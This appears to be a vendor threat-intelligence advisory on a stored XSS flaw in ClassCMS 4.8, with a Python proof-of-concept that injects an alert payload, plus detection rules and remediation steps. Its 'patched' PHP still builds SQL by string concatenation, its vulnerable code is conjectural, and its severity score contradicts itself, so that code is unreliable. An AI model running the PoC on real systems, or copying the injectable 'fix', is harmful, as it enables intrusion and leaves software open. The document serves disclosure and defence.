CVE-2024-57097

Executive Summary

CVE-2024-57097 is a stored Cross-Site Scripting (XSS) vulnerability in ClassCMS version 4.8, specifically within the class/admin/channel.php file. An authenticated attacker with administrative privileges can inject arbitrary JavaScript into the channel management interface, which is then executed in the browsers of other administrators viewing the affected page. This can lead to session hijacking, credential theft, or further compromise of the CMS backend. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch has been released, and the vendor appears unresponsive.

Supply Chain & Package Security

ClassCMS is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. No supply chain package security issues are directly associated with this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – An attacker must have admin-level access to the CMS.
• User Interaction (UI): Required (R) – The victim must view the maliciously crafted channel page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires admin credentials but can lead to full backend compromise.

Deep Dive & Mechanics

The vulnerability resides in the class/admin/channel.php file, which handles the creation and editing of channels in ClassCMS. The application fails to properly sanitize user-supplied input when saving channel names or descriptions. An attacker with admin privileges can inject arbitrary HTML and JavaScript code into these fields. When another admin (or the same attacker) navigates to the channel management page, the injected script is rendered and executed in the context of the victim's browser session.

The root cause is the lack of output encoding or input validation for the channel name/description parameters. The application likely uses echo or similar functions without applying htmlspecialchars() or equivalent escaping. This allows the attacker to break out of the HTML context and inject a <script> tag or event handler.

Attack Flow:

1. Attacker logs in as an admin.
2. Attacker navigates to the channel management page (/admin/channel.php).
3. Attacker creates or edits a channel, inserting a payload like <script>alert('XSS')</script> into the channel name.
4. The payload is stored in the database.
5. When another admin views the channel list, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (class/admin/channel.php):

<?php
// ... existing code ...
$channel_name = $_POST['channel_name'];
// No sanitization
$sql = "INSERT INTO channels (name) VALUES ('$channel_name')";
mysqli_query($conn, $sql);
// ... later in the page ...
echo "<td>" . $row['name'] . "</td>";
?>

Patched Code (Hypothetical Fix):

<?php
// ... existing code ...
$channel_name = htmlspecialchars($_POST['channel_name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO channels (name) VALUES ('$channel_name')";
mysqli_query($conn, $sql);
// ... later in the page ...
echo "<td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

import requests

target_url = "http://target-classcms/admin/channel.php"
session = requests.Session()

# Login as admin
login_data = {
    "username": "admin",
    "password": "password"
}
session.post(target_url.replace("channel.php", "login.php"), data=login_data)

# Inject XSS payload
payload = {
    "channel_name": "<script>alert('XSS')</script>",
    "action": "add"
}
response = session.post(target_url, data=payload)

if response.status_code == 200:
    print("Payload injected successfully.")
else:
    print("Failed to inject payload.")

Usage:

1. Replace target_url with the actual ClassCMS instance.
2. Ensure valid admin credentials.
3. Run the script to inject the XSS payload.
4. Any admin viewing the channel list will trigger the alert.

Blue Team

Detection Steps:

1. Monitor web application logs for suspicious POST requests to /admin/channel.php containing <script> tags or event handlers.
2. Review database entries in the channels table for unexpected HTML/JavaScript content.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
4. Use Web Application Firewall (WAF) rules to block common XSS payloads.

Lab Setup:

• Install ClassCMS 4.8 on a local server (e.g., XAMPP, LAMP).
• Create an admin account.
• Use the PoC script to test the vulnerability.
• Verify the XSS by accessing the channel list as a different admin user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/channel.php with channel_name containing <script> or onerror= patterns.
  • Outbound connections from the CMS server to attacker-controlled domains (if payload exfiltrates data).

• File IOCs:

  • Modified entries in the channels table of the ClassCMS database containing JavaScript code.

• Behavioral IOCs:

  • Unexpected JavaScript execution in admin browsers.
  • Unauthorized admin actions performed via XSS (e.g., creating new admin users).

Detection Engineering

YARA Rule

rule Detect_ClassCMS_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting ClassCMS channel.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57097"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        any of them
}

Sigma Rule

title: ClassCMS XSS via channel.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against ClassCMS channel.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/channel.php'
        cs-uri-query|contains: 'channel_name'
        cs-uri-query|re: '(<script|onerror|onload|alert)'
    condition: selection
falsepositives:
    - Legitimate admin actions with special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"ClassCMS XSS Attempt - channel.php"; flow:to_server; content:"POST"; http_method; content:"/admin/channel.php"; http_uri; content:"channel_name"; http_client_body; pcre:"/(<script|onerror|onload|alert)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable channel management for non-trusted admin accounts until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to /admin/channel.php.
3. Restrict admin access to trusted IP addresses only.

Long-Term Fix:

1. Apply input validation and output encoding in class/admin/channel.php:
   • Use htmlspecialchars() for all user-supplied data before rendering.
   • Validate channel names against a whitelist of allowed characters (e.g., alphanumeric and spaces).
2. Update to the latest version of ClassCMS if a patched version becomes available.
3. Conduct a security audit of the entire CMS codebase for similar vulnerabilities.

Workaround:

• Manually edit class/admin/channel.php to add htmlspecialchars() calls as shown in the patched code section.

Valters IT
DevSecOps & Cyber Threat Intelligence